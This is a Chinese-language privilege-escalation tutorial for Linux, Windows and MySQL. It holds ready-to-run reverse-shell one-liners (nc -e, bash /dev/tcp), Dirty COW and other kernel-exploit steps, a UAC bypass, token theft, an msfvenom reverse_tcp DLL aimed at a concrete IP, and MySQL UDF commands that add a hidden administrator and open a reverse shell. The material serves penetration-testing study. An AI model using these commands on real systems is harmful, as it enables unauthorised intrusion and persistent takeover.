权限提升
系统提权
系统漏洞提权一般就是利用系统自身缺陷,用来提升权限。为了使用方便,windows和linux系统均有提权用的可执行文件。
Windows的提权exp一般格式为MS08067.exe;
Linux的提权exp一般格式为2.6.18-194或2.6.18.c。
linux
信息收集
手动
1、操作系统信息
uname -a 打印所有可用的系统信息
hostname 系统主机名
2、用户信息
cat /etc/passwd 列出系统上的所有用户
cat /etc/group 列出系统上的所有组
whoami 查看当前用户
id 当前用户信息
lastlog 所有用户上次登录的信息
cat /etc/sudoers 查看被允许以root身份执行的用户
sudo -l 当前用户以root身份进行执行操作
3、环境信息
env/set 显示环境变量
history 显示当前用户的历史命令记录
pwd 显示当前工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
4、进程与服务
ps aux 显示进程
cat /etc/services 查看服务
netstat -tanlp 显示各种网络接口的状态信息
-t:只显示 TCP 连接。
-a:显示所有连接和监听端口(默认是只显示监听端口)。
-n:直接使用数字地址和端口,而不是尝试将地址解析为主机名。
-l:显示监听端口。
-p:显示每个连接的进程 ID 和程序名称。
5、程序
ls -alh /usr/bin/ 显示当前运行程序信息
ls -alh /sbin/ 显示当前运行程序信息
dpkg -l 查看程序信息
6、计划任务
crontab -l 查看计划任务
7、日志信息
/var/log下各个日志文件
Apache日志文件:cat /etc/httpd/logs/access.log ;cat /etc/httpd/logs/error_log
...
工具收集
1、LinEnum
LinEnum是Linux枚举及提权提升检查工具,该工具除了RCE无法收集,其他信息都能收集,主要有:内核、系统信息、用户信息、环境、作业、任务、服务、web服务版本、默认密码或弱口令等。
下载地址:LinEnum
#####2、 Linuxprivchecker
这个同样也是对服务器的信息进行信息收集的一个脚本,但是可能没有颜色区别比较单调,可以结合多个工具进行对比查看是否存在信息收集缺漏。这个脚本需要使用Python进行执行。
下载地址:Linuxprivchecker
3、linux-exploit-suggester
这个脚本会输出服务器基本信息,也会输出可能存在的漏洞,还包括了exp的下载地址,可以下载对应的exp进行测试,而且有颜色区别说明。根据给的exp的下载地址下载脚本,每一个脚本都会有存在编译的命令,很有可能目标服务器没有这个编译环境,那么则需要在本地进行编译,编译完后再将exp上传上去,而且更好找的是同样型号的进行编译,减少出错可能。
1、SUID提权
什么是suid
SUID(Set User ID)是一种文件属性,它允许文件(通常是二进制可执行文件)在执行时以文件所有者(root)的权限运行,而不是执行它的用户的权限。这种属性通常用于允许普通用户以管理员权限执行某些操作,而无需管理员密码。
收集具有SUID权限的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
以find / -perm -u=s -type f 2>/dev/null为例子:
find:这是一个用于在文件系统中搜索文件的工具。
/:搜索的起始点,即根目录。
-perm -u=s:这是匹配的权限模式。-u=s 专门查找设置了用户 SUID 位的文件。
-type f:这指定搜索应该只包括文件(f)。
2>/dev/null:这是一个重定向,将任何错误消息(2>)发送到 /dev/null,从而有效地丢弃它们,因此命令不会在终端输出任何错误消息。
小知识点:Shell 输入/输出重定向
find
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
#进入shell:
find /etc/passwd -exec '/bin/sh' \;
#nc正向连接shell:
find user -exec nc -lvp 4444 -e '/bin/sh' \;
#nc反弹shell:
find user -exec bash -c 'bash -i >& /dev/tcp/ip/4444 0>&1' \;
大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
连接上去就会直接获取到一个Root权限的shell。
netcat ip 5555
id
cat /etc/shadow
Vim
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
vim.tiny /etc/shadow
Bash
以下命令将以root权限打开一个bash shell。
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(serv
2、内核漏洞提权
tools:searchsploit 、Linux_Exploit_Suggester
通常我们在拥有一个webshell的时候,一般权限都是WEB容器权限,如在iis就是iis用户组权限,在
apache就是apache权限,一般都是权限较低,均可执行一些普通命令,如查看当前用户,网络信息,
ip信息等。如果我想进行内网渗透就必须将权限提权到最高,如系统权限超级管理员权限。
1. 内核溢出提权
-
内核漏洞是最有效的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集, 再搜索对应的exp进行提权攻击
//查看发行版本:这些命令作用都差不多,获取一些信息 cat /etc/issue cat /etc/*-release cat /etc/redhat-release cat /proc/version lsb_release -a //查看内核版本 uname -a
-
利用kali自带的 searchsploit 来搜索对应版本的exp(也可以直接去官网找):
searchspoit 发行版本内核版本 searchsploit -t Ubuntu 16.04 //-t仅搜索漏洞标题 searchsploit -s Ubuntu 16.04 // searchsploit -s Linux Kernel 4.15.0
-
找到可利用的脚本之后,查看路径信息,并复制一个到当前目录(别损坏了漏洞库中原文件):
searchsploit -x linux/local/47169.c cp /usr/share/exploitdb/exploits/linux/local/47169.c ./
-
之后就是将脚本上传到目标机
-
编译,加权限,执行
gcc 47169.c -o exp chmod +x exp ./exp //id测试是否提权成功 id
3、 脏牛提权CVE-2016-5195
exp:
范围:linux内核=>2.6.22
● RHEL7 Linux x86_64
● RHEL4(4.4.7-16)
● Debian 7(“wheel”)
● Ubuntu 14.04.1 LTS
● Ubuntu 14.04.5 LTS
● Ubuntu 16.04.1 LTS
● Ubuntu 16.10
● Linux Mint 17.2
铿锵版本 4.0.0;
gcc 版本 6.2.0 20161005 (Ubuntu 6.2.0-5ubuntu12)
gcc 版本 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.1)
gcc 版本 4.8.5 20150623(红帽 4.8.5-4)(GCC);
gcc 版本 4.8.4 (Ubuntu 4.8.4);
gcc 版本 4.8.2 (Ubuntu 4.8.2-19ubuntu1)
gcc 版本 4.7.2 (Debian 4.7.2-5);
gcc 版本 4.4.7(带有“旧”版本)
漏洞成因:
Linux写时拷贝技术(copy-on-write)
在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。
前置知识
Dirty COW漏洞
Dirty COW漏洞是一种发生在写时复制的竞态条件漏洞。
竞态条件是指一个系统或者进程的输出依赖于不受控制的事件出现顺序或者出现时机。即为用户A在执行操作A的时候,同时进行操作B,并且是同时发生,后台系统只做一次判断,但是两个操作都会进行。
竞态条件通常发生在多个进程(线程)同时访问和操作相同的数据 以及 执行结果取决于特定的顺序这两种情况。那么如果特权程序具有竞态条件漏洞的话,攻击者就可以通过对不可控事件施加影响来影响特权程序的输出。
写时复制是一种允许不同进程中的虚拟内存映射到相同物理内存页面的技术。比如我们使用fork(注: fork 调用生成的新进程与其父进程谁先执行不一定,哪个进程先执行要看系统的进程调度策略)系统调用创建子进程,那么这个子进程通过使页表条目指向相同的物理内存来共享父进程内存,当任何进程试图写入内存时,会引发异常,OS将为子进程分配新的物理内存,从父进程复制内容,更改每个进程的页表使它指向自己的私有内存副本,这就是写时复制技术。
写时复制执行过程执行三个重要步骤,包括:制作映射内存的副本;更新页表,使虚拟内存指向新创建的物理地址;写入内存。由于三个步骤不是原子性的,一个线程在执行这三个步骤过程中可能被其他线程中断,从而产生潜在的竞态条件。
这个系统调用包含图中的几个参数:前两个参数是映射内存区域的起始地址和大小,第三个参数是读写方式,即是否可读是否可写,第四个参数指定映射的方式,包括map_shared和map_private,map_shared是指当多个线程将同一个文件映射到自己的虚拟地址中,它们都共享同一个物理内存块,说通俗点就是共享内存,map_private则是将文件映射到进程的私有内存,这个后一页重点介绍,后两个参数是映射的文件以及文件内偏移。
map_private参数指定将文件映射到进程的私有内存。从图中可以看到,两个进程将同一个文件映射到自己的虚拟内存地址,如果两个文件都是只读的,那么虚拟内存地址将指向同一个物理内存块。但是如果一个进程试图写入数据,就像图中的进程2,此时就会发生写时复制,将物理内存块复制一个副本,然后更新进程2的页表指向新的内存块,最后向物理内存块的副本中写入数据。
前面我们知道了写时复制时会有竞态条件漏洞呢?那么该如何利用呢,这里介绍另一个系统调用,madvise(),这个调用通过指定第三个参数为MADV_DONOTNEED告诉内核不再需要声明地址部分的内存,内核将释放该地址的资源,进程的页表会重新指向原始的物理内存。
演示:
1)使用dirty.c脚本进行提权
该漏洞利用dirtycow漏洞的pokemon漏洞利用作为基础,自动生成新的passwd行。运行二进制文件时,将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后,您应该能够使用新创建的用户登录。
1.下载/上传该脚本到目标机下:
git clone https://github.com/FireFart/dirtycow
2.编译该脚本:
gcc -pthread dirty.c -o dirty -lcrypt
1.-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2.-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3.-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4.-std=c++11就是用按C++2011标准来编译的
5.-pthread 在Linux中要用到多线程时,需要链接pthread库
6.-o dcow gcc生成的目标文件,名字为dcow
7.-lcrypt 添加需要的外部库
3.添加可执行权限并执行
chmod +x ./dirty
./dirty 999999
2)使用CVE-2016-5195提权
1.下载脚本到目标机器:
git clone https://github.com/gbonacini/CVE-2016-5195.git
2.编译成可执行文件
使用 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
或者直接输入 make 进行
3.执行脚本
./dcow -s
./dcow -h
4、CVE-2017-16995 ubuntu内核漏
1)影响版本
Linux Kernel Version 4.14-4.4 (主要影响Debian和Ubuntu发行版,Redhat和CentOS不受影响)
2)利用步骤
Linux本地内核提权 CVE-2017-16995
从网上下载exp,或者kali导出exp上传到提权主机上。
wget https://github.com/brl/grlh/archive/master.zip
编译:
gcc get-rekt-linux-hardened.c -o exp
gcc 45010.c -o 45010 编译
chmod +x 45010 增加权限
./45010 执行脚本返回root权限shell
id
5、滥用sudo导致的提权(需要普通用户可以sudo执行某些命令,又名sudo 提权)
以下这些程序如果被配置使用root权限启动,且该第三方服务或者程序存在漏洞或者配置问题,那么就可以被利用来获得root权限。** 并且还要知道当前用户的密码 **
可以利用sudo提权的命令如下 :
wget、find、cat、apt、zip、xxd、time、taskset、
git、sed、pip、ed、tmux、scp、perl、bash、
less、awk、man、vi、env、ftp
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令。
是不是每一个新创建的用户都可以使用sudo提升命令的权限呢?如果不是那么哪些用户可以使用此命令呢?要想使一个用户具有使用sudo的能力,需要让root用户将其名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息注册到/etc/sudoers文件中,即完成对该用户的授权(此时该用户称为“sudoer”)才可以。
当一般用户执行特殊权限时,在命令前加上 sudo,此时系统会让你输入密码以确认终端机前操作的是你本人,确认后系统会将该命令的进程以超级用户的权限运行。
在一定的时间段内,再次执行sudo的命令时不再询问密码,超出此时间段(一般为5分钟)后需要再次输入密码。
在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。
查看用户能以root权限运行的命令:列出目前的权限
sudo -l
表示全可以执行
Windows
信息收集
systeminfo 查询系统信息
hostname 主机名
net user 查看用户信息
netstat -ano|find "3389" 查看服务pid号
wmic os get caption 查看系统名
wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息
wmic product get name,version 查看当前安装程序
wmic service list brief 查询本机服务
wmic process list brief 查询本机进程
net share 查看本机共享列表
netsh firewall show config 查看防火墙配置
常见的杀软如下:
360sd.exe 360杀毒
360tray.exe 360实时保护
ZhuDongFangYu.exe 360主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 安全狗
McAfee McShield.exe McAfee
egui.exe NOD32
AVP.exe 卡巴斯基
avguard.exe 小红伞
bdagent.exe BitDefender
要搜集的信息大致如下几点:
- 机器的系统及其版本
- 机器的打补丁情况
- 机器安装的服务
- 机器的防火墙策略配置
- 机器的防护软件情况
漏洞编号格式
例如:MS08067 --> MS:微软 08:年份 067:2008年第67个漏洞
1、利用exp提权
手工查找补丁情况
利用主机电脑的修补补丁
如图可以看到我的补丁程序
实战中我们getshell后可以利用msf提权。在msf进行getshell后,进行以下指令
post/windows/gather/enum_patches
随后会自动列出可以使用的exp
msf > use exploit/windows/local/<根据列出的利用编号 例如:ms13_053_schlamperei >
msf > set SESSION 2
msf > exploit
2、at命令的利用
因为at命令默认是以system权限下运行的
在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用at命令将权限提升至system权限。
首先了解什么是at命令
at
命令是Windows操作系统中的一个计划任务命令行工具,它允许用户安排在将来的某个时间点或在特定的时间间隔执行命令或脚本。使用at
命令,可以在没有用户登录的情况下运行程序或命令。
因为at命令在win7、win8等高版本取消,以下例子来自于网络:最全Windows提权总结(建议收藏) - 随风kali - 博客园
例如我想在一分钟后开启交互式命令提示符
at 10:39 /interactive cmd
一分钟后:
如图已经是system的权限,但只是cmd中的system的权限,当前电脑使用者还是普通用户,为了完全提权,我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器,然后结束之前的桌面进程,再重新开启一个桌面进程
或者利用msf生成的木马文件,然后使用at命令运行这个木马文件,后面会讲到如何利用
3、sc命令利用
首先来了解什么是sc命令:
-
sc
命令是 Windows 操作系统中的一个强大的命令行工具,用于与服务控制管理器 (Service Control Manager, SCM) 通信,以查询服务状态信息,或配置服务设置(包括服务启动类型、服务依赖等)。 -
语法
sc [command] [service name] [options] query: 查询服务的状态或配置信息。 start: 启动服务。 stop: 停止服务。 config: 更改服务的配置。 create: 创建新服务。 delete: 删除服务。 例如,将 “Spooler” 服务的启动类型更改为自动: sc config Spooler start= auto
使用如下命令
sc create systemcmd binPath= "cmd /K start" type= own type= interact
如果成功便会开一个新的窗口,并且再敲人命令
sc start systemcmd
则会成为system的窗口,后续步骤使用之前的方式
4、psexec提权
什么是psexec
psexec
是一个由 Sysinternals(现在属于 Microsoft)提供的工具,它允许用户在远程Windows计算机上执行程序、命令或脚本。psexec
使用服务控制管理器(Service Control Manager, SCM)的功能来启动远程系统上的进程,这意味着它不需要远程系统上运行任何后台服务。
微软官方工具包:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
利用这个工具进行提权
psexec.exe -accepteula -s -i -d cmd.exe
psexec.exe:这是 Sysinternals 工具的名称,用于执行远程进程。
-accepteula:这个参数告诉 psexec 自动接受软件许可协议,这样在运行时就不会弹出对话框要求用户同意。
-s:以系统权限运行指定的程序。这意味着 cmd.exe 将以本地系统账户(通常具有最高权限)运行。
-i:创建一个交互式会话。这允许用户与 cmd.exe 的实例进行交互。
-d:在后台运行指定的程序。这意味着 psexec 将启动 cmd.exe,但不会等待它完成,而是立即返回命令提示符。
cmd.exe:这是要运行的程序的名称,在这种情况下是命令提示符。
5、利用UAC提权
什么是UAC?
UAC(User Account Control,用户账户控制)是微软在Windows Vista及以后版本的Windows操作系统中引入的一个安全功能。它的主要目的是保护电脑免受恶意软件和未经授权的更改的影响,同时为用户提供一个更加安全的计算环境。
如图所示
需要UAC的授权才能进行的操作列表如下:
- 配置Windows Update
- 增加、删除账户
- 更改账户类型
- 更改UAC的设置
- 安装ActiveX
- 安装、卸载程序
- 安装设备驱动程序
- 将文件移动/复制到Program Files或Windows目录下
- 查看其它用户的文件夹
UAC有如下四种设置要求:
-
始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
-
仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是
当第三方程序要使用高级别的权限时,会提示本地用户
-
仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
-
从不提示:当用户为系统管理员时,所有程序都会以最高权限运行
如何bypass
我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
以高权限运行的进程图标一般有如下标志:
我们win10以ComputerDefaults.exe作为bypass案例,ComputerDefaults.exe进程图标确实有个uac的标志(然后你双击打开会发现并没有uac提醒)
我们利用ProcessMonitor对该进程的行为做一个监听:
先寻找HKCU:\Software\Classes\ms-settings\Shell\Open\Command 注册表,然后发现键值不存在,再寻找HKCR:\ms-settings\Shell\Open\Command\DelegateExecute
因此当我们修改hkcu注册表后,运行ComputerDefaults.exe就会得到一个bypass uac后的cmd:
当修改HKCU\Software\Classes\下的键值时,会同步修改HKCR下面的键值。
参考:https://mp.weixin.qq.com/s/OGiDm3IHBP3_g0AOIHGCKA
MSF利用
Bypass uac提权的MSF模块
use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。 可以进行多次exploit,第一次可能不成功
use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
MSF中Bypassuac模块的使用前提有两个:
- 一是系统当前用户必须在管理员组中,
- 二是用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我” 。
use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0
set lport 24444 #本地监听的端口,随便设置一个未被占用的端口即可
exploit
6、令牌窃取
令牌简介
描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个Access Token,它描述了用户的安全标识符(SID)、所属组的SID、用户的权限、登录信息等。每个用户登录到系统时,系统都会为其创建一个访问令牌。这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。一般用户双击运行一个进程都会拷贝explorer.exe的Access Token。访问令牌分为:
* 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)
* 模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)
两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。
同样也可以这样理解,当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌。
默认情况下,我们列举令牌,只能列举出当前用户和比当前用户权限更低用户的令牌。令牌的数量取决于当前shell的访问级别,如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。
在Windows命令行中,可以使用如 whoami /all
命令查看当前用户的安全令牌信息,或者使用更高级的工具如 Sysinternals套件中的 tokenmon
来监视令牌的创建和销毁。
**注意:**首先需要将木马上传至需要提权的服务器中,然后执行命令进行令牌窃取提权。
use incognito
list_tokens -u #列出有的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #窃取system令牌
7、烂土豆提权
一般烂土豆需要来配合令牌窃取来进行提权
注意(重点:用烂土豆配合本地用户提权是成功不了的,必须是web权限或数据库权限)
- 单纯令牌窃取:Web权限或本地权限
- 配合烂土豆提权:web权限或数据库等权限
原理
- 欺骗 "NT AUTHORITY\SYSTEM"账户通过NTLM认证到我们控制的TCP终端。
- 对这个认证过程使用中间人攻击(NTLM重放),为"NT AUTHORITY\SYSTEM"账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
- 模仿这个令牌。只有具有"模仿安全令牌权限"的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
NTLM
NTLM是NT LAN Manager的缩写,这也说明了协议的来源。NTLM是指 telnet 的一种验证身份方式,即问询/应答身份验证协议,是 Windows NT 早期版本的标准安全协议,Windows 2000 支持 NTLM 是为了保持向后兼容。Windows 2000内置三种基本安全协议之一。
meterpreter > upload /root/Rottenpotato/rottenpotato.exe
meterpreter > execute -HC -f rottenpotato.exe
meterpreter > use incognito
meterpreter > list_tokens -u
会发现令牌列表里面存在system的令牌,在用system的令牌进行提权
8、可信任服务路径漏洞
一、漏洞原理
当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
路径没有包含在引号中,服务会按照以下顺序依次执行
c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe
假如存在漏洞路径,我们可以将msf木马放到上面的路径下,然后重启机器,此时,反弹回来的shell,则是一个system的shell
使用以下命令查看系统中错误配置的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
1、wmic service get name,displayname,pathname,startmode:这个命令行使用Windows Management Instrumentation Command-Line (WMIC)来获取服务的名称、显示名称、路径名称和启动模式。
2、|findstr /i "Auto":这个管道命令使用findstr工具来过滤出那些启动模式为“自动”的服务。/i标志表示忽略大小写。
3、|findstr /i /v "C:\Windows\\":这个管道命令进一步过滤出那些路径名称不包含“C:\Windows\”的服务。/v标志表示排除包含指定字符串的行。
9、DLL劫持
原理:
Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll
常用系统漏洞CVE
#Windows10
CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html
#Windows7/2008
CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html
#Windows7/8、2008/2012/2016
CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html
#SQL Server、IIS通杀 (针对本地用户的,不能用于域用户)
MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
数据库提权
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权。
数据库提权的前提条件:
1、服务器开启数据库服务
2、获取到最高权限用户密码
(除Access数据库外,其他数据库基本都存在数据库提权的可能)
3、secure_file_priv的值为空
4、如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
5、如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
show variables like 'plugin%'; 【查看 plugin 目录】
show global variables like 'secure%'; 【查看secure_file_priv】
select @@basedir; 【查看mysql安装路径】
show variables like '%version_%'; 【确定平台是64位还是32位】
1、Mysql_udf提权
原理
由于MySQL支持UDF(user define function),支持我们自定义函数来扩展功能。当我们创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。
导入
CREATE FUNCTION example_function RETURNS INTEGER SONAME 'udf.dll';
udf.dll导出指定文件夹
当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。
plugin目录创建方式
通过菜刀连接创建
通过mysql语句创建
Windows/linux获取udf文件:使用sqlmap生成
1、Windows下进入sqlmap安装目录下的extra\cloak目录下使用cloak.py工具
python cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll
sqlmap的data目录下udf的加密文件,使用上述命令解密一下即可获得udf.dll。
2、Kali下获取udf文件
将Kali系统中sqlmap自带的udf提权库文件进行解码。 在Kali攻击机上,启动终端,依次输入如下命令:
cd /usr/share/sqlmap/extra/cloak/ 【进入cloak目录】
python cloak.py -d -i /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so
【将lib_mysqludf_sys.so_进行解码】
之后在/usr/share/sqlmap/udf/mysql/linux/64
目录下会生成一个名为“lib_mysqludf_sys.so”的解码后的so文件
将dll文件复制到指定的目录下,然后执行SQL命令:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
一般用于创建新用户维持权限
create function cmdshell returns string soname 'moonudf.dll' 【创建cmdshell】
select cmdshell('net user $darkmoon 123456 /add & net localgroup administrators $darkmoon /add') 【添加超级管理员】
select cmdshell('net user') 【查看用户】
select cmdshell('netstat -an') 【查看端口】
select name from mysql.func 【查看创建函数】
delete from mysql.func where name='cmdshell' 【删除cmdshell】
create function backshell returns string soname 'moonudf.dll' 【创建反弹函数】
select backshell('192.168.157.130',12345) 【执行反弹】
delete from mysql.func where name='backshell' 【删除backshell】